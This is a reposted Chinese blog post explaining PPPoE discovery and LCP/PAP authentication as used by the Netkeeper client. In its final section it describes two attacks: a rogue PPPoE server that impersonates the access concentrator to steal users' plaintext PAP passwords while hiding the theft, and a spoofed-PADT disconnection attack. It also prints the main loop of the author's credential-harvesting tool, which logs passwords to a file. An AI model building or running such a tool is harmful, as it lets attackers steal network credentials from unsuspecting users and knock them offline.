转帖:https://www.cnblogs.com/sky-star/p/pppoe.html

楼主学生党一枚,最近研究netkeeper有些许心得。

关于netkeeper是调用windows的rasdial来进行上网的东西,网上已经有一大堆,我就不赘述了。

本文主要讲解rasdial的部分核心过程,以及我们可以利用它来干些什么。

netkeeper中rasdial是通过PPPOE来进行用户认证并提供上网的。

PPPOE分为两个阶段PPPOED(即发现阶段)PPPOES(会话阶段)

关于PPPOED部分,维基上有很详细的介绍 。给个链接  https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet

我只简略的说一下,可以分为以下四个部分:

PPPOED的协议格式:数字代表字节数。

|    6       |        6       |    2    |  链路层

dstmac     srcmac      proctol   很简单,不多说

|  1              |         1      |    2             |        2              | PPPOED头

ver_type           code        session id      payload len

固定为0x11   行为代码     会话id         后续报文的长度

|      payload len |  PPPOED tags。 这个不好说,可以去wiki看看。

 

 PPPOED_PADI 0x09 PPPOED_PADO 0x07 PPPOED_PADR 0x19 PPPOED_PADS 0x65 PPPOED_SESSION 0x00 PPPOED_PADT 0xa7
struct PPPOE_hdr
{
    char dst[6];
    char src[6];
    char proctol[2];
    char ver_type;
    char code;
    char sid[2];
    char len[2];
};
struct PPPOE_tag
{
    char name[2];
    char len[2];
    char *value;
};

 

PADI:由client发送。(PPPOED tags 貌似必须要有host-uniq属性),就是广播说我想上网,谁能给我提供这个服务。

PADO:由server发送。(PPPOED tags必须要有AC-name属性,而且要有client发的PADI里的host-uniq属性。)就是服务器说我可以给你下这个服务。

PADR:client发送。(要有host-uniq)client向server请求上网服务,当接收到多个server的PADO时,一般向第一个收到的server请求服务。

PADS:server发送。(要有PADR的host-uniq,且需设置session id)之后开始服务。

 

PPPOES:我重点要讲的部分,在网上搜了很久的资料也没搜到啥,自己总结一下,方便他人。

PPP  LCP协议格式:  PPPOES支持的协议太多,而我们需要研究的只有LCP,所以只讲LCP。前面与PPPOED相同.

 

|    6       |        6       |    2    |  链路层

 

dstmac     srcmac      proctol   很简单,不多说

 

|  1              |         1      |    2             |        2              | PPPOED头

 

ver_type           code        session id      payload len

固定为0x11   行为代码     会话id         后续报文的长度

|        2        |  ppp proctol type

|   1                    |       1        |       2       | LCP header

 code                        id             len     

LCP行为代码       验证id       len指LCP header与后续报文的长度,与PPPOED不同  即 len = 4 + 后续报文长度

|   len        | LCP opts

 PPP_LCP 0xc021 PPP_PAP 0xc023
//LCP code LCP_REQUEST 0x01 LCP_ACK     0x02 LCP_NAK     0x03 LCP_REJECT  0x04 LCP_TERMINATIN_REQUEST 0x05 LCP_TERMINATION_ACK 0x06
#define LCP_IDENTIFICATION 0x0c

// PAP code PAP_REQUEST 0x01 PAP_ACK     0x02
struct LCP_hdr
{
    struct PPPOE_hdr pppoe;
    char proctol[2];
    char code;
    char id;
    char len[2];
    char padding[2];//填充,字节对齐。
};
struct LCP_opt
{
    char name;
    char len;
    char* value;
};

 

下面给个例子

01.png

讲完协议基础,就将PPPOES具体发生了什么。楼主只研究过PAP,所以下面讲PAP

1. client向server发送LCP request,请求配置(例如MTU之类的)

2.server向client发送LCP ack或LCP reject(若发的是reject,client需要根据reject再发一份request直到server ack)。

3.server向client发LCP request,LCP request中包含用户认证的方式CHAP 或 PAP。

4.client发LCP ack

5.client准备开始发送用户名和密码。发送3个LCP identification。

6.client开始发送用户名和密码。发送PAP报文。

7.server对用户名和密码进行认证,若通过则通过IPCP进行ip配置。错误则无法上网。

下面给一个PAP报文的例子,与LCP很相似。

02.png

上述总结一个图

 03.jpg

ps:楼主字丑勿喷。

应用:

1.根据上面所讲的过程可知,我们可以在别人拨号上网发PADI的时候,发一个PADO伪装成server,一般而言,只要client先接收到的是我们的PADO,我们就可以获取到用户名和密码,窃取到密码以后我们就发送一个LCP termination request和PPPOED PADT,在把用户的MAC加入窃取到的MAC表中,对于窃取到的就不再进行拦截。

这样真正的用户在登录时只会出现一次登录失败,之后正常,用户也不会认为出了什么问题。

2.我们自己发PADI获取当前网段中的PPPOE服务器的mac,再将自己的mac伪装成服务器的,穷举session id 发送PADT给正在正常上网的用户就可以让他断网。

 

应用1楼主已经实现了,2没做。源码就不发了,防止有人搞破坏。

下面只贴出流程代码

int main()
{    int sock,recv_bytes,i = 0;    struct Mac src;    struct Mac self = getLocalMac("eth0");    char buf[2048] = {0};
    FILE * fpout;
    std::vector<struct PPPOE_tag*> tags;
    std::vector<struct LCP_opt*> opts;
    std::vector<struct Mac*> macMap;
    sock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    fpout = fopen("./password.txt","w");    if (sock == -1)
    {
        perror("socket");
        exit(1);
    }    while(1)
    {
        i = 0;
        recv_bytes = recv(sock,buf,2048,0);
        src = getSrcMac(buf);        if (isMacInMap(&src,macMap))            continue;        if( PPPOED == getProctol(buf))
        {
            unsigned code;
            PPPOE_HeaderReader pppoe(buf,recv_bytes);
            pppoe.getPPPOED_tags(tags);
            code = pppoe.getCode();            if (code == PPPOED_PADI)
                sendPADO(sock,src,tags);            else if (code == PPPOED_PADR)
                sendPADS(sock,src,tags);            else if (code == PPPOED_PADT)
                sendPADT(sock,src,tags,pppoe.getSessionId());
            release(tags);
        }        if(PPPOES == getProctol(buf))
        {
            PPPOE_HeaderReader pppoe(buf,recv_bytes);            switch (getPPP_type(buf))
            {            case PPP_LCP:
                pppoe.getLCP_opts();                if(buf[22] == LCP_REQUEST)
                {
                    HeaderBuilder builder;
                    memcpy(buf,src.mac,6);
                    memcpy(buf + 6,self.mac,6);
                    buf[22] = LCP_ACK;
                    sendEth(sock,buf,recv_bytes);
                    buf[22] = LCP_REQUEST;
                    buf[25] = 4 + sizeof (lcp_request);
                    builder.addHeader(buf,26);
                    builder.addHeader(lcp_request,sizeof (lcp_request));
                    sendEth(sock,builder.head(),builder.getsize());
                }                else if (buf[22] == LCP_TERMINATIN_REQUEST)
                {
                    HeaderBuilder builder;
                    memcpy(buf,src.mac,6);
                    memcpy(buf + 6,self.mac,6);
                    buf[22] = LCP_ACK;
                    sendEth(sock,buf,recv_bytes);
                }                break;            case PPP_PAP:                struct Mac * tmpmac = malloc(sizeof (struct Mac));
                memcpy(tmpmac,&src,sizeof(struct Mac));
                macMap.push_back(tmpmac);
                recordPassword(fpout,buf);
                sendPADT(sock,src,tags,pppoe.getSessionId());                break;
            }
            release(opts);
        }
    }
    close(sock);
    release(macMap);
    fclose(fpout);    return 0;
}
复制代码